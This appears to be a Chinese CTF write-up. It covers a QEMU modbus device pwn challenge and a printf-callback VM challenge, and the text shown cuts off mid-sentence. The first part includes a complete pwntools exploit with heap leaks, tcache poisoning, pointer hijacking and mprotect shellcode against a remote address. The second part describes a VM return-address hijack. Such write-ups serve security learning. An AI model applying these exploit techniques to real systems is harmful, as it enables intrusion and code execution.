2nd Blood题目的启动脚本中把 modbus 工控协议对应的虚拟设备的 I/O 直接暴露到 socket I/O上，并且关闭了其它所有设备，所以本质上是直接对这个设备模型的漏洞利用，只不过放在了 QEMU 环境里。关于 modbus 的报文协议细节直接询问 AI 就能得到非常详细的答复，LLM 把了解一个未知协议运作的门槛降低了好几个数量级。modbus 协议报文读寄存器# RTU Function 0x03: Read Holding Registers Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]写寄存器# RTU Function 0x10: Write Multiple Registers Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes分析设备的 realize 函数如下：其中 mbusTransmitDataHandler 回调函数是主要关注对象，它调用了 mbusPorcessBuf 进行具体的报文处理：mbusPorcessBuf 主逻辑和其中两个负责读写寄存器的函数如下：审计 mbusProcessBuf 逻辑主要发现三个漏洞点：在 mbus 的读寄存器函数中，qty+start 被强制转换为 uint16 导致越界；在 mbus 的读寄存器函数中，malloc((unsigned int8)(2*qty)+5) 把 uint16 强制下转换到 uint8，可能导致实际申请的空间比读写空间小，发生堆上溢出写；类似的，在 mbus 的写寄存器函数中，qty+start 被强制转换为 uint16 导致越界；利用因此，利用 mbus 协议读寄存器产生的堆越界读能力，泄露 &obj->regs[0] 开始的 0x10000 字节内存，能够在特定 offset 上得到 libc，ELF，heap 地址；利用 malloc 调用机会和越界写能力，攻击 tcache，布置 0xa0，0xb0，0xc0 大小三个连续堆块的 size 和 next，可以构造任意 malloc 原语。但是任意 malloc 紧接着一个 free，所以任意 malloc 的目标地址必须符合合法堆块 size 检查；然后劫持通信使用的 obj（设备对象）堆块。在 0xa0 偏移开始有三个在设备 realize 时就注册好的回调函数指针，劫持 0xb0 偏移的指针，可以发现调用该函数指针时，rdi 为 0xc0 偏移处的 8 字节。由于 QEMU 运行环境的 system 带有 cloexec FLAG（启动子程序时关闭已有 fd），所以重定向不太能用，而且远程尝试反弹 shell 不出网；最后通过 strace 发现读写网络 I/O 的 fd 为 10，于是干脆用 setcontext 走 mprotect 执行 shellcode 实现 open("flag", 0) => sendfile(out_fd=10, ...) 效果，在远程环境下试了几次即可拿到flag；EXP完整 EXP：from pwn import * context.arch = 'amd64' # context.log_level = 'debug' # p = remote("127.0.0.1", 1503) # p = remote("127.0.0.1", 1502) p=remote("8.147.132.101",30721) # crc16 def crc16(data: bytes): crc = 0xFFFF for b in data: crc ^= b for _ in range(8): if (crc & 0x0001) != 0: crc >>= 1 crc ^= 0xA001 else: crc >>= 1 return crc # RTU Function 0x03: Read Holding Registers def read_reg(addr: int, start: int=0, qty: int=1): # Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi] packet = b"" packet += p8(addr) # addr packet += p8(0x03) # function code packet += p16(start, endianness="big") # start address packet += p16(qty, endianness="big") # quantity packet += p16(crc16(packet)) # CRC #return packet p.send(packet) # RTU Function 0x10: Write Multiple Registers def write_reg(addr: int, start: int=0, qty: int=-1, _bytes: int=-1, values: bytes=b""): # Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes # Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes packet = b"" packet += p8(addr) # addr packet += p8(0x10) # function code packet += p16(start, endianness="big") # start address if qty == -1: qty = len(values) // 2 packet += p16(qty, endianness="big") # quantity if _bytes == -1: _bytes = len(values) packet += p8(_bytes) # byte count packet += values # values packet += p16(crc16(packet)) # CRC #return packet p.send(packet) # write ## max value size 250 bytes #bytes_to_write = b"<"+b"A"*(512-2)+b">" #for i in range(0, len(bytes_to_write), 2): # chunk = bytes([bytes_to_write[i+1], bytes_to_write[i]]) # print(f"start: {i//2}, chunk: {chunk}") # write_reg(1, start=i//2, qty=1, values=chunk) # p.recv() read_reg(1, start=1, qty=0xffff) # ELF 0x37c # HEAP 0x32c def big_u16_to_little_u16(b: bytes) -> bytes: res = b"" for i in range(0, len(b), 2): res += bytes([b[i+1], b[i]]) return res def leak_int64(data: bytes, offset: int=0) -> int: result = 0 print("---------") for i in range(0, 8, 2): part = data[offset + i: offset + i +2] print("->>",part) result = (u16(part, endianness="big") << (i//2*16)) | result return result leak_data = p.recv(0x1000)[3:] elf_leak = leak_int64(leak_data, 0x37c) heap_leak = leak_int64(leak_data, 0x32c) libc_leak = leak_int64(leak_data, 0xfac) log.success(f"elf_leak: {hex(elf_leak)}") log.success(f"heap_leak: {hex(heap_leak)}") log.success(f"libc_leak: {hex(libc_leak)}") elf_base = elf_leak - 0x9ef3e9 heap_base = heap_leak - 0x718f0 libc_base = libc_leak - 0x203b20 log.success("==============================") log.success(f"elf_base: {hex(elf_base)}") log.success(f"heap_base: {hex(heap_base)}") log.success(f"libc_base: {hex(libc_base)}") read_reg(1,0,0x48) read_reg(1,0,0x50) read_reg(1,0,0x58) chunka_addr=heap_base+0x2d8570 # a0 chunkb_addr=heap_base+0x2d8610 # b0 chunkc_addr=heap_base+0x2d86c0 # c0 offab=(0xa0-0x10+8-3)//2 offac=(0xa0-0x10+0xb0+8-3)//2 offbc=(0xa0-0x10+8-3)//2 write_reg(1,offab,values=b"\0\xf1") write_reg(1,offac,values=b"\0\xf1") read_reg(1,0,0x48+0x80) read_reg(1,0,0x58) read_reg(1,0,0x50) # 48:a0 50:b0 58:c0 60:d0 # 68:e0 70:f0 # now chunkb and chunkc free in tcache f0 def encaddr(addr): secret=chunkb_addr>>12^addr return secret target=chunka_addr+0x13 setc=0x4a99d+libc_base #0x00000000000986f5 : mov rdx, qword ptr [rdi + 8] ; mov rax, qword ptr [rdi] ; mov rdi, rdx ; jmp rax magic=0x00000000000986f5+libc_base newstack=chunkb_addr+0x13 page=chunka_addr&(~0xfff) shcbuf=chunkb_addr+0x13 shctxt=''' lea rdi,qword ptr [rip+flagstr] mov ax,2 xor esi,esi syscall push rax pop rsi mov edi,10 xor edx,edx mov cx,0x100 mov ax,40 syscall flagstr: .ascii "flag\\0\\0" ''' context.arch="amd64" shc=asm(shctxt) open_libc=0x11b150+libc_base sdfl_libc=0x11bbb0+libc_base mprot_libc=0x125c40+libc_base buffer=p64(setc)+p64(target-0x58)+p64(page)+p64(0x1000)+p64(7)+p64(7)+p64(7)+p64(7)+p64(7)+p64(target+0x58)+p64(mprot_libc)+p64(shcbuf) def arb_malloc(addr): pld=buffer.ljust(0x80,b'\0') write_reg(1,0x8,values=pld) pld=b'\0'+p64(0xb1)+p64(encaddr(addr))+b'\0' write_reg(1,offab,values=pld) read_reg(1,0,0x48+0x80) pld=b'\0'+p64(0xf1) write_reg(1,offbc,values=pld) write_reg(1,0x8,values=shc) read_reg(1,0,0x70) # now chunkb in tcache b1 # tcache f1 hijacked obj_addr=heap_base+0x84750 arb_malloc(obj_addr) ptr1=0x40f6b6+elf_base ptr2=0x40f5bb+elf_base syst_addr=libc_base+0x58750 log.success("system at"+hex(syst_addr)) pld=b"\0"*(0xa0-0x10) pld+=p64(ptr1)+p64(magic)+p64(magic) pld+=b'aaaaaaaa'+p64(target) write_reg(1,(0x10-3)//2,values=b'\0'+pld+b'\0') read_reg(1,0,0x70) pause() p.recvuntil(b'aaaaaaaa') p.interactive()
又是一年强网杯，很多网安人都要完成的完成 KPI...捡了个二血，就做了这题，别的没咋看题目附件：通过百度网盘分享的文件：prpr.zip链接：https://pan.baidu.com/s/1mrbCrjnKpMOxmJiUT0Q53A?pwd=hs60 提取码：hs60分析程序为 printf 注册了很多回调，在遇到这些回调的时候会进入对应的 handler 处理并通过第三个参数携带格式化字符串本身的参数题目使用这个机制实现了一个 VM，VM 对应的格式化字符串 vmcode 在全局段上，dump如下：[(0, '%x', 0), (1, '%a', 0), (2, '%Y', 1), (3, '%U', 255), (4, '%k', 1), (5, '%r', 0), (6, '%S', 0), (7, '%k', 1), (8, '%U', 0), (9, '%r', 0), (10, '%S', 0), (11, '%a', 0), (12, '%Y', 2), (13, '%U', 63), (14, '%k', 2), (15, '%r', 0), (16, '%S', 0), (17, '%k', 2), (18, '%U', 0), (19, '%r', 0), (20, '%S', 0), (21, '%k', 2), (22, '%U', 4), (23, '%i', 0), (24, '%c', 0), (25, '%k', 1), (26, '%D', 0), (27, '%k', 2), (28, '%U', 4), (29, '%i', 0), (30, '%b', 0), (31, '%n', 0), (32, '%a', 0), (33, '%Y', 3), (34, '%a', 0), (35, '%Y', 4), (36, '%U', 63), (37, '%k', 4), (38, '%r', 0), (39, '%S', 0), (40, '%k', 4), (41, '%U', 0), (42, '%r', 0), (43, '%S', 0), (44, '%U', 0), (45, '%Y', 5), (46, '%k', 4), (47, '%k', 5), (48, '%r', 0), (49, '%S', 59), (50, '%g', 60), (51, '%k', 3), (52, '%C', 0), (53, '%y', 0), (54, '%k', 5), (55, '%U', 1), (56, '%A', 0), (57, '%Y', 5), (58, '%N', 46), (59, '%n', 0), (60, '%a', 0), (61, '%k', 5), (62, '%#X', 0), (63, '%k', 5), (64, '%#V', 0), (65, '%U', 255), (66, '%M', 0), (67, '%S', 0), (68, '%k', 5), (69, '%#V', 0), (70, '%n', 0), (71, '%a', 0), (72, '%Y', 0), (73, '%U', 1), (74, '%k', 0), (75, '%M', 0), (76, '%T', 79), (77, '%g', 1), (78, '%N', 71), (79, '%U', 2), (80, '%k', 0), (81, '%M', 0), (82, '%T', 85), (83, '%g', 32), (84, '%N', 71), (85, '%U', 3), (86, '%k', 0), (87, '%M', 0), (88, '%T', 91), (89, '%g', 110), (90, '%N', 71), (91, '%U', 4), (92, '%k', 0), (93, '%M', 0), (94, '%T', 97), (95, '%g', 141), (96, '%N', 71), (97, '%U', 5), (98, '%k', 0), (99, '%M', 0), (100, '%T', 103), (101, '%g', 178), (102, '%N', 71), (103, '%U', 6), (104, '%k', 0), (105, '%M', 0), (106, '%T', 109), (107, '%g', 209), (108, '%N', 71), (109, '%x', 0), (110, '%a', 0), (111, '%Y', 1), (112, '%U', 255), (113, '%k', 1), (114, '%r', 0), (115, '%S', 0), (116, '%k', 1), (117, '%U', 0), (118, '%r', 0), (119, '%S', 0), (120, '%a', 0), (121, '%Y', 2), (122, '%U', 63), (123, '%k', 2), (124, '%r', 0), (125, '%S', 0), (126, '%k', 2), (127, '%U', 0), (128, '%r', 0), (129, '%S', 0), (130, '%k', 2), (131, '%U', 4), (132, '%i', 0), (133, '%c', 0), (134, '%k', 1), (135, '%H', 0), (136, '%k', 2), (137, '%U', 4), (138, '%i', 0), (139, '%b', 0), (140, '%n', 0), (141, '%a', 0), (142, '%Y', 3), (143, '%a', 0), (144, '%Y', 4), (145, '%U', 62), (146, '%k', 4), (147, '%r', 0), (148, '%S', 0), (149, '%k', 4), (150, '%U', 0), (151, '%r', 0), (152, '%S', 0), (153, '%U', 0), (154, '%Y', 5), (155, '%k', 4), (156, '%k', 5), (157, '%r', 0), (158, '%S', 177), (159, '%g', 60), (160, '%k', 3), (161, '%G', 0), (162, '%k', 5), (163, '%#X', 0), (164, '%k', 5), (165, '%#V', 0), (166, '%U', 255), (167, '%M', 0), (168, '%S', 0), (169, '%k', 5), (170, '%#V', 0), (171, '%y', 0), (172, '%k', 5), (173, '%U', 1), (174, '%A', 0), (175, '%Y', 5), (176, '%N', 155), (177, '%n', 0), (178, '%a', 0), (179, '%Y', 1), (180, '%U', 255), (181, '%k', 1), (182, '%r', 0), (183, '%S', 0), (184, '%k', 1), (185, '%U', 0), (186, '%r', 0), (187, '%S', 0), (188, '%a', 0), (189, '%Y', 2), (190, '%U', 63), (191, '%k', 2), (192, '%r', 0), (193, '%S', 0), (194, '%k', 2), (195, '%U', 0), (196, '%r', 0), (197, '%S', 0), (198, '%k', 2), (199, '%U', 4), (200, '%i', 0), (201, '%c', 0), (202, '%k', 1), (203, '%F', 0), (204, '%k', 2), (205, '%U', 4), (206, '%i', 0), (207, '%b', 0), (208, '%n', 0), (209, '%a', 0), (210, '%Y', 3), (211, '%a', 0), (212, '%Y', 4), (213, '%U', 63), (214, '%k', 4), (215, '%r', 0), (216, '%S', 0), (217, '%k', 4), (218, '%U', 0), (219, '%r', 0), (220, '%S', 0), (221, '%U', 0), (222, '%Y', 5), (223, '%k', 4), (224, '%k', 5), (225, '%r', 0), (226, '%S', 245), (227, '%g', 60), (228, '%k', 3), (229, '%E', 0), (230, '%k', 5), (231, '%#X', 0), (232, '%k', 5), (233, '%#V', 0), (234, '%U', 255), (235, '%M', 0), (236, '%S', 0), (237, '%k', 5), (238, '%#V', 0), (239, '%y', 0), (240, '%k', 5), (241, '%U', 1), (242, '%A', 0), (243, '%Y', 5), (244, '%N', 223), (245, '%n', 0), (246, '%x', 0), (247, '%x', 0), (248, '%x', 0), (249, '%x', 0)]虚拟机相关数据结构恢复：00000000 struct __attribute__((packed)) __attribute__((aligned(4))) vm // sizeof=0x7654 00000000 { 00000000 struct code *code_page; 00000008 __int32 code_size; 0000000C __int32 field_C; 00000010 __int32 *regs; 00000018 __int32 reg_nums; 0000001C __int32 field_1C; 00000020 signed int stack[1000]; 00000FC0 __int64 padding[31]; 000010B8 __int32 pad1; 000010BC __int32 pad2; 000010C0 __int32 pad3; 000010C4 struct mem_chunk mem_chunks[100]; 00007654 }; 00000000 struct mem_chunk // sizeof=0x104 00000000 { // XREF: vm/r vm/r 00000000 char data[252]; 000000FC __int32 field1; 00000100 __int32 retaddr; 00000104 }; 00000000 struct code // sizeof=0xC 00000000 { // XREF: vm/r 00000000 char fmtchar[8]; 00000008 __int32 arg; 0000000C };逆向每个 handler 的作用然后编写脚本恢复出 vmcode 序列对应的伪 ASM：import os, sys STACK_ARG1 = "STACK[SP]" STACK_ARG2 = "STACK[SP-1]" OPRAND_ARG = "OPRAND" asm_map = { "%A": ("vm_add", 2, STACK_ARG1, STACK_ARG2), "%C": ("vm_and", 2, STACK_ARG1, STACK_ARG2), "%D": ("vm_mem_data_and", 1, STACK_ARG1), "%E": ("vm_or", 2, STACK_ARG1, STACK_ARG2), "%F": ("vm_mem_data_or", 1, STACK_ARG1), "%G": ("vm_xor", 2, STACK_ARG1, STACK_ARG2), "%H": ("vm_mem_data_xor", 1, STACK_ARG1), "%i": ("vm_mul", 2, STACK_ARG1, STACK_ARG2), "%J": ("vm_shl", 2, STACK_ARG1, STACK_ARG2), "%K": ("vm_shr", 2, STACK_ARG1, STACK_ARG2), "%r": ("vm_greater_than", 2, STACK_ARG1, STACK_ARG2), "%M": ("vm_eq", 2, STACK_ARG1, STACK_ARG2), "%N": ("vm_jmp_addr", 1, OPRAND_ARG), "%S": ("vm_jmp_not_zero", 2, STACK_ARG1, OPRAND_ARG), "%T": ("vm_jmp_zero", 2, STACK_ARG1, OPRAND_ARG), "%U": ("vm_push_int", 1, OPRAND_ARG), "%#V": ("vm_load_mem_to_stack", 1, STACK_ARG1), "%k": ("vm_push_reg", 1, OPRAND_ARG), "%#X": ("vm_store_stack_to_mem", 2, STACK_ARG1, STACK_ARG2), "%Y": ("vm_pop_reg", 1, OPRAND_ARG), "%y": ("vm_pop_stdout", 0), "%a": ("vm_push_stdin", 0), "%b": ("vm_show_mem_chunk", 1, STACK_ARG1), "%c": ("vm_read_mem_chunk", 1, STACK_ARG1), "%f": ("vm_pop_null", 0), "%g": ("vm_call", 1, OPRAND_ARG), "%n": ("vm_ret", 0), "%x": ("vm_exit", 0), } def dump_asm(): code = [] entry = 71 arg_trans = lambda x: x if x != OPRAND_ARG else "OPRAND" with open('code.txt', 'r') as f: code = eval(f.read()) be_jmped = [] tagged = [] for c in code: line_num = c[0] opcode = c[1] oprand = c[2] asm_fmt = asm_map.get(opcode) if asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call"]: be_jmped.append(oprand) for c in code: line_num = c[0] opcode = c[1] oprand = c[2] asm_fmt = asm_map.get(opcode) if not asm_fmt: print(f"Error: Unknown ASM code: {c[0]}") continue arg_trans = lambda x: x if x != OPRAND_ARG else oprand arg_num = asm_fmt[1] if line_num == entry: print("ENTRY:") if (line_num not in tagged) and (line_num in be_jmped): print(f"\nBLOCK_{line_num}:") tagged.append(line_num) if arg_num == 0: print(f"{line_num}:\t {asm_fmt[0]}()") elif arg_num == 1: print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])})") elif arg_num == 2: print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])})") elif arg_num == 3: print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])}, {arg_trans(asm_fmt[4])})") if (line_num not in tagged) and (asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call", "vm_ret"]): print(f"\nBLOCK_{line_num+1}:") tagged.append(line_num+1) if __name__ == "__main__": dump_asm()逆向恢复出来的伪 ASM 并为菜单和几个主要的子函数添加了手动注释：BLOCK_0: 0: vm_exit() ; ====================================== ; OPTION 1 ; ; READ data to mem chunk ; AND mem chunk bytes and output ; ====================================== BLOCK_1: 1: vm_push_stdin() 2: vm_pop_reg(1) 3: vm_push_int(255) 4: vm_push_reg(1) 5: vm_greater_than(STACK[SP], STACK[SP-1]) 6: vm_jmp_not_zero(STACK[SP], 0) BLOCK_7: 7: vm_push_reg(1) 8: vm_push_int(0) 9: vm_greater_than(STACK[SP], STACK[SP-1]) 10: vm_jmp_not_zero(STACK[SP], 0) BLOCK_11: 11: vm_push_stdin() 12: vm_pop_reg(2) 13: vm_push_int(63) 14: vm_push_reg(2) 15: vm_greater_than(STACK[SP], STACK[SP-1]) 16: vm_jmp_not_zero(STACK[SP], 0) BLOCK_17: 17: vm_push_reg(2) 18: vm_push_int(0) 19: vm_greater_than(STACK[SP], STACK[SP-1]) 20: vm_jmp_not_zero(STACK[SP], 0) BLOCK_21: 21: vm_push_reg(2) 22: vm_push_int(4) 23: vm_mul(STACK[SP], STACK[SP-1]) 24: vm_read_mem_chunk(STACK[SP]) 25: vm_push_reg(1) 26: vm_mem_data_and(STACK[SP]) 27: vm_push_reg(2) 28: vm_push_int(4) 29: vm_mul(STACK[SP], STACK[SP-1]) 30: vm_show_mem_chunk(STACK[SP]) 31: vm_ret() ; ====================================== ; END OPTION ; ====================================== ; ====================================== ; OPTION 2 ; ; READ data to mem chunk ; AND mem chunk ints and output ; ====================================== BLOCK_32: 32: vm_push_stdin() 33: vm_pop_reg(3) 34: vm_push_stdin() 35: vm_pop_reg(4) 36: vm_push_int(63) 37: vm_push_reg(4) 38: vm_greater_than(STACK[SP], STACK[SP-1]) 39: vm_jmp_not_zero(STACK[SP], 0) BLOCK_40: 40: vm_push_reg(4) 41: vm_push_int(0) 42: vm_greater_than(STACK[SP], STACK[SP-1]) 43: vm_jmp_not_zero(STACK[SP], 0) BLOCK_44: 44: vm_push_int(0) 45: vm_pop_reg(5) BLOCK_46: 46: vm_push_reg(4) 47: vm_push_reg(5) 48: vm_greater_than(STACK[SP], STACK[SP-1]) 49: vm_jmp_not_zero(STACK[SP], 59) BLOCK_50: 50: vm_call(60) 51: vm_push_reg(3) 52: vm_and(STACK[SP], STACK[SP-1]) 53: vm_pop_stdout() 54: vm_push_reg(5) 55: vm_push_int(1) 56: vm_add(STACK[SP], STACK[SP-1]) 57: vm_pop_reg(5) 58: vm_jmp_addr(46) BLOCK_59: 59: vm_ret() ; ====================================== ; END OPTION ; ====================================== BLOCK_60: 60: vm_push_stdin() 61: vm_push_reg(5) 62: vm_store_stack_to_mem(STACK[SP], STACK[SP-1]) 63: vm_push_reg(5) 64: vm_load_mem_to_stack(STACK[SP]) 65: vm_push_int(255) 66: vm_eq(STACK[SP], STACK[SP-1]) 67: vm_jmp_not_zero(STACK[SP], 0) BLOCK_68: 68: vm_push_reg(5) 69: vm_load_mem_to_stack(STACK[SP]) 70: vm_ret() ; ====================================== ; MENU ; ; choice 1~6: ; 1 => 1 ; 2 => 32 ; 3 => 110 ; 4 => 141 ; 5 => 178 ; 6 => 209 ; ====================================== BLOCK_71: ENTRY: 71: vm_push_stdin() 72: vm_pop_reg(0) 73: vm_push_int(1) 74: vm_push_reg(0) 75: vm_eq(STACK[SP], STACK[SP-1]) 76: vm_jmp_zero(STACK[SP], 79) BLOCK_77: 77: vm_call(1) 78: vm_jmp_addr(71) BLOCK_79: 79: vm_push_int(2) 80: vm_push_reg(0) 81: vm_eq(STACK[SP], STACK[SP-1]) 82: vm_jmp_zero(STACK[SP], 85) BLOCK_83: 83: vm_call(32) 84: vm_jmp_addr(71) BLOCK_85: 85: vm_push_int(3) 86: vm_push_reg(0) 87: vm_eq(STACK[SP], STACK[SP-1]) 88: vm_jmp_zero(STACK[SP], 91) BLOCK_89: 89: vm_call(110) 90: vm_jmp_addr(71) BLOCK_91: 91: vm_push_int(4) 92: vm_push_reg(0) 93: vm_eq(STACK[SP], STACK[SP-1]) 94: vm_jmp_zero(STACK[SP], 97) BLOCK_95: 95: vm_call(141) 96: vm_jmp_addr(71) BLOCK_97: 97: vm_push_int(5) 98: vm_push_reg(0) 99: vm_eq(STACK[SP], STACK[SP-1]) 100: vm_jmp_zero(STACK[SP], 103) BLOCK_101: 101: vm_call(178) 102: vm_jmp_addr(71) BLOCK_103: 103: vm_push_int(6) 104: vm_push_reg(0) 105: vm_eq(STACK[SP], STACK[SP-1]) 106: vm_jmp_zero(STACK[SP], 109) BLOCK_107: 107: vm_call(209) 108: vm_jmp_addr(71) BLOCK_109: 109: vm_exit() ; ====================================== ; END MENU ; ====================================== ; ====================================== ; OPTION 3 ; ; READ data to mem chunk ; XOR mem chunk bytes and output ; ====================================== BLOCK_110: 110: vm_push_stdin() 111: vm_pop_reg(1) 112: vm_push_int(255) 113: vm_push_reg(1) 114: vm_greater_than(STACK[SP], STACK[SP-1]) 115: vm_jmp_not_zero(STACK[SP], 0) BLOCK_116: 116: vm_push_reg(1) 117: vm_push_int(0) 118: vm_greater_than(STACK[SP], STACK[SP-1]) 119: vm_jmp_not_zero(STACK[SP], 0) BLOCK_120: 120: vm_push_stdin() 121: vm_pop_reg(2) 122: vm_push_int(63) 123: vm_push_reg(2) 124: vm_greater_than(STACK[SP], STACK[SP-1]) 125: vm_jmp_not_zero(STACK[SP], 0) BLOCK_126: 126: vm_push_reg(2) 127: vm_push_int(0) 128: vm_greater_than(STACK[SP], STACK[SP-1]) 129: vm_jmp_not_zero(STACK[SP], 0) BLOCK_130: 130: vm_push_reg(2) 131: vm_push_int(4) 132: vm_mul(STACK[SP], STACK[SP-1]) 133: vm_read_mem_chunk(STACK[SP]) 134: vm_push_reg(1) 135: vm_mem_data_xor(STACK[SP]) 136: vm_push_reg(2) 137: vm_push_int(4) 138: vm_mul(STACK[SP], STACK[SP-1]) 139: vm_show_mem_chunk(STACK[SP]) 140: vm_ret() ; ====================================== ; END OPTION ; ====================================== ; ====================================== ; OPTION 4 ; ; READ data to mem chunk ; XOR mem chunk ints and output ; ====================================== BLOCK_141: 141: vm_push_stdin() 142: vm_pop_reg(3) 143: vm_push_stdin() 144: vm_pop_reg(4) 145: vm_push_int(62) 146: vm_push_reg(4) 147: vm_greater_than(STACK[SP], STACK[SP-1]) 148: vm_jmp_not_zero(STACK[SP], 0) BLOCK_149: 149: vm_push_reg(4) 150: vm_push_int(0) 151: vm_greater_than(STACK[SP], STACK[SP-1]) 152: vm_jmp_not_zero(STACK[SP], 0) BLOCK_153: 153: vm_push_int(0) 154: vm_pop_reg(5) BLOCK_155: 155: vm_push_reg(4) 156: vm_push_reg(5) 157: vm_greater_than(STACK[SP], STACK[SP-1]) 158: vm_jmp_not_zero(STACK[SP], 177) BLOCK_159: 159: vm_call(60) 160: vm_push_reg(3) 161: vm_xor(STACK[SP], STACK[SP-1]) 162: vm_push_reg(5) 163: vm_store_stack_to_mem(STACK[SP], STACK[SP-1]) 164: vm_push_reg(5) 165: vm_load_mem_to_stack(STACK[SP]) 166: vm_push_int(255) 167: vm_eq(STACK[SP], STACK[SP-1]) 168: vm_jmp_not_zero(STACK[SP], 0) BLOCK_169: 169: vm_push_reg(5) 170: vm_load_mem_to_stack(STACK[SP]) 171: vm_pop_stdout() 172: vm_push_reg(5) 173: vm_push_int(1) 174: vm_add(STACK[SP], STACK[SP-1]) 175: vm_pop_reg(5) 176: vm_jmp_addr(155) BLOCK_177: 177: vm_ret() ; ====================================== ; END OPTION ; ====================================== ; ====================================== ; OPTION 5 ; ; READ data to mem chunk ; OR mem chunk bytes and output ; ====================================== BLOCK_178: 178: vm_push_stdin() 179: vm_pop_reg(1) 180: vm_push_int(255) 181: vm_push_reg(1) 182: vm_greater_than(STACK[SP], STACK[SP-1]) 183: vm_jmp_not_zero(STACK[SP], 0) BLOCK_184: 184: vm_push_reg(1) 185: vm_push_int(0) 186: vm_greater_than(STACK[SP], STACK[SP-1]) 187: vm_jmp_not_zero(STACK[SP], 0) BLOCK_188: 188: vm_push_stdin() 189: vm_pop_reg(2) 190: vm_push_int(63) 191: vm_push_reg(2) 192: vm_greater_than(STACK[SP], STACK[SP-1]) 193: vm_jmp_not_zero(STACK[SP], 0) BLOCK_194: 194: vm_push_reg(2) 195: vm_push_int(0) 196: vm_greater_than(STACK[SP], STACK[SP-1]) 197: vm_jmp_not_zero(STACK[SP], 0) BLOCK_198: 198: vm_push_reg(2) 199: vm_push_int(4) 200: vm_mul(STACK[SP], STACK[SP-1]) 201: vm_read_mem_chunk(STACK[SP]) 202: vm_push_reg(1) 203: vm_mem_data_or(STACK[SP]) 204: vm_push_reg(2) 205: vm_push_int(4) 206: vm_mul(STACK[SP], STACK[SP-1]) 207: vm_show_mem_chunk(STACK[SP]) 208: vm_ret() ; ====================================== ; END OPTION ; ====================================== ; ====================================== ; OPTION 6 ; ; READ data to mem chunk ; OR mem chunk ints and output ; ====================================== BLOCK_209: 209: vm_push_stdin() 210: vm_pop_reg(3) 211: vm_push_stdin() 212: vm_pop_reg(4) 213: vm_push_int(63) 214: vm_push_reg(4) 215: vm_greater_than(STACK[SP], STACK[SP-1]) 216: vm_jmp_not_zero(STACK[SP], 0) BLOCK_217: 217: vm_push_reg(4) 218: vm_push_int(0) 219: vm_greater_than(STACK[SP], STACK[SP-1]) 220: vm_jmp_not_zero(STACK[SP], 0) BLOCK_221: 221: vm_push_int(0) 222: vm_pop_reg(5) BLOCK_223: 223: vm_push_reg(4) 224: vm_push_reg(5) 225: vm_greater_than(STACK[SP], STACK[SP-1]) 226: vm_jmp_not_zero(STACK[SP], 245) BLOCK_227: 227: vm_call(60) 228: vm_push_reg(3) 229: vm_or(STACK[SP], STACK[SP-1]) 230: vm_push_reg(5) 231: vm_store_stack_to_mem(STACK[SP], STACK[SP-1]) 232: vm_push_reg(5) 233: vm_load_mem_to_stack(STACK[SP]) 234: vm_push_int(255) 235: vm_eq(STACK[SP], STACK[SP-1]) 236: vm_jmp_not_zero(STACK[SP], 0) BLOCK_237: 237: vm_push_reg(5) 238: vm_load_mem_to_stack(STACK[SP]) 239: vm_pop_stdout() 240: vm_push_reg(5) 241: vm_push_int(1) 242: vm_add(STACK[SP], STACK[SP-1]) 243: vm_pop_reg(5) 244: vm_jmp_addr(223) BLOCK_245: 245: vm_ret() ; ====================================== ; END OPTION ; ====================================== BLOCK_246: 246: vm_exit() 247: vm_exit() 248: vm_exit() 249: vm_exit()利用漏洞点有两个，一个是 option6 存在一个 mem_chunk 下标溢出，可以在逐 int 写的时候溢出一个 int，但是覆盖不到保存返回地址的位置。此时需要结合 mem_data_xor 中的另一个漏洞，该函数只要没读到 \x00 就会继续往后进行 XOR，可以实现修改一个字节的 VM 返回地址。__int64 __fastcall sub_1910(FILE *stream, const struct printf_info *info, const void *const *args) { __int64 v3; // rax char v4; // cl char *v5; // rdx char i; // al v3 = vm_sp--; v4 = vm->stack[v3]; v5 = vm->mem_chunks[mem_idx].data; for ( i = *v5; *v5; i = *v5 ) *v5++ = v4 ^ i; return 0LL; }但是一个字节返回地址劫持的能力太弱了...需要扩大利用优势，于是我们选择使用 50 行中的 vm_call(60)开始作为 gadget，劫持到这里的时候再次发生了函数调用，保存了返回地址到 mem_chunk 里，并且该函数会读取一个 int 值写入 curr_mem_chunk[reg5] 中，此时 reg5 的值正好是 64（完成了一次遍历++），也正好是返回地址所在的下标，因此我们就实现了劫持 4 字节返回地址的能力。返回地址以 0xc 大小的 code 结构体为单位，计算好偏移可以跳转到 mem_chunk 中的可控区域执行我们提前布置好的 vmcode，将攻击转换为任意 vmcode 执行下的 RCE。然后进行地址泄露：首先控制 vmcode 后可以使用 run_vm_code 中的格式化字符串泄露栈地址，ELF 地址，canary；其次使用两次 b"%a%#V%yXXXX\x00 泄露 mem_chunk_base + offset上的值的高低 4 字节，获得 heap 地址；%#V 和%#X中存在第三个漏洞，使用 # 和不使用 # 会进入两条不同的分支来获取读写偏移，在使用 # 时并没有检查 offset 是否在合理范围内，造成了越界；接着通过计算 ELF 地址和 mem_chunk_base 的地址可以泄露 ELF 上的任意值，通过泄露 got 表函数指针，确定 libc 的大致版本（题目没给 libc），并计算完成 orw 所需 gadget 地址；此时一个 mem_chunk 的空间已经差不多被用完，通过 vm_jmp(71) 也就是跳转到 ENTRY 的位置重新开启一次 VM 程序并使用同样的操作可以进行第二次任意 vmcode 执行；这一次我们使用两次 b"%a%a%#XDDDD\x00" 劫持 init_func_register_printf 注册到堆内存上的各种回调函数的地址，这些函数第一个参数是 FILE *stream 